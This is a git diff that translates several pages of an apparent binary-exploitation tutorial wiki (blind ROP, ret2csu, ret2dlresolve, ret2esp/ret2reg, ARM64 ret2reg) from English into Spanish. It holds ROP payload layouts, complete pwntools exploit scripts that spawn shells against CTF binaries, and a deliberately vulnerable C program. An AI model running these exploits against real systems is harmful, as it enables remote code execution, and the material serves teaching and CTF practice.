-> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\, \) -> falla +- strcmp(\, \) -> falla +- strcmp(\, \) -> falla +- strcmp(\, \) -> no falla -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento del PLT** que consiste básicamente en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas PLT desde la primera: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> falla +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Fallará +- strcmp(\, \) -> falla +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> no falla +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +Recuerda que: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 apunta a **`pop RSI; pop R15; ret;`** +- BROP + 0x9 apunta a **`pop RDI; ret;`** +- PLT + 0xb apunta a una llamada a **dl_resolve**. -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +Habiendo encontrado `strcmp`, es posible establecer **`rdx`** a un valor mayor que 0. > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> Nota que generalmente `rdx` ya tendrá un valor mayor que 0, así que este paso podría no ser necesario. -### 8. Finding Write or equivalent +### 8. Encontrar Write o equivalente -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +Finalmente, se necesita un gadget que exfiltre datos para exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0.** -There are 3 common funtions taht could be abused for this: +Hay 3 funciones comunes que podrían ser abusadas para esto: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +Sin embargo, el documento original solo menciona la **`write`**, así que hablemos de ella: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +El problema actual es que no sabemos **dónde está la función write dentro del PLT** y no sabemos **un número de fd para enviar los datos a nuestro socket**. -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +Sin embargo, sabemos **dónde está la tabla PLT** y es posible encontrar write basado en su **comportamiento**. Y podemos crear **varias conexiones** con el servidor y usar un **FD alto** esperando que coincida con algunas de nuestras conexiones. -Behaviour signatures to find those functions: +Firmas de comportamiento para encontrar esas funciones: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró puts +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró dprintf +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró write -## Automatic Exploitation +## Explotación Automática - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) -## References +## Referencias -- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) +- Documento original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..2d3bb07cd 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa. -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`. -### The Magic Gadgets in \_\_libc_csu_init +### Los Gadgets Mágicos en \_\_libc_csu_init -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) a destacar: +1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde. ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos. -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas: +- **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones. +- **Realizar una llamada a una ubicación** determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8. ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +Las condiciones serán: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función `_init`): +- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y hacer que `[r12 + rbx*8]` sea la dirección con el puntero a \_init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` y `rbx` deben tener el mismo valor para evitar el salto +- Hay algunos pops omitidos que necesitas tener en cuenta -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI y RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a sus offsets específicos:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +Consulta esta página para más información: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## Ejemplo -### Using the call +### Usando la llamada -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +Imagina que quieres hacer una syscall o llamar a una función como `write()`, pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno. -Here's where **ret2csu** comes into play: +Aquí es donde entra en juego **ret2csu**: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15. +2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`. +Tienes un [**ejemplo usando esta técnica y explicándolo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), y este es el exploit final que utilizó: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`. -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### Eludir la llamada y alcanzar ret +El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **eludiendo las comparaciones y alcanzando el `ret`** después de la llamada: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` +### ¿Por Qué No Usar libc Directamente? -### Why Not Just Use libc Directly? - -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..e1a3a10b8 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -2,38 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +Como se explicó en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**. -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estructuras que necesita para **resolver** el símbolo especificado. -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**). -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`. > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc. -Chek this video for a nice explanation about this technique in the second half of the video: +Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +O consulta estas páginas para una explicación paso a paso: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) -## Attack Summary +## Resumen del Ataque -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. Escribir estructuras falsas en algún lugar +2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`) +3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`** +4. **Llamar** `_dl_runtime_resolve` +5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento +De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## Ejemplo -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### Pwntools Puro +Puedes encontrar un [**ejemplo de esta técnica aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **que contiene una muy buena explicación de la cadena ROP final**, pero aquí está el exploit final utilizado: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### Crudo ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## Otros Ejemplos y Referencias - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..bec7417ab 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode. -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)). -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función. -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### Falta de espacio +Si te falta espacio para escribir después de sobrescribir el RIP (quizás solo unos pocos bytes), escribe un shellcode inicial **`jmp`** como: ```armasm sub rsp, 0x30 jmp rsp ``` +Y escribe el shellcode temprano en la pila. -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### Ejemplo +Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +Puedes ver otro ejemplo de esta técnica en [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Hay un desbordamiento de búfer sin NX habilitado, se utiliza un gadget para **reducir la dirección de `$esp`** y luego un `jmp esp;` para saltar al shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +De manera similar, si sabemos que una función devuelve la dirección donde se almacena el shellcode, podemos aprovechar las instrucciones **`call eax`** o **`jmp eax`** (conocidas como técnica **ret2eax**), ofreciendo otro método para ejecutar nuestro shellcode. Al igual que eax, **cualquier otro registro** que contenga una dirección interesante podría ser utilizado (**ret2reg**). -### Example +### Ejemplo -You can find some examples here: +Puedes encontrar algunos ejemplos aquí: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** almacenará en **`eax`** la dirección del buffer donde se almacenó el shellcode y **`eax`** no está siendo sobrescrito, por lo que es posible usar un `ret2eax`. ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +En ARM64 **no hay** instrucciones que permitan **saltar al registro SP**. Podría ser posible encontrar un gadget que **mueva sp a un registro y luego salte a ese registro**, pero en la libc de mi kali no pude encontrar ningún gadget así: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +Los únicos que descubrí cambiarían el valor del registro donde se copió sp antes de saltar a él (por lo que se volvería inútil):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +Si un registro tiene una dirección interesante, es posible saltar a ella simplemente encontrando la instrucción adecuada. Podrías usar algo como: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` - -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. +En ARM64, es **`x0`** quien almacena el valor de retorno de una función, por lo que podría ser que x0 almacene la dirección de un búfer controlado por el usuario con un shellcode para ejecutar. Example code: - ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +Revisando la desensambladura de la función, es posible ver que la **dirección del buffer** (vulnerable a bof y **controlada por el usuario**) está **almacenada en `x0`** antes de regresar del desbordamiento de buffer:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +También es posible encontrar el gadget **`br x0`** en la función **`do_stuff`**:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería: ```python from pwn import * @@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para volver a la instrucción `br x0;` sin 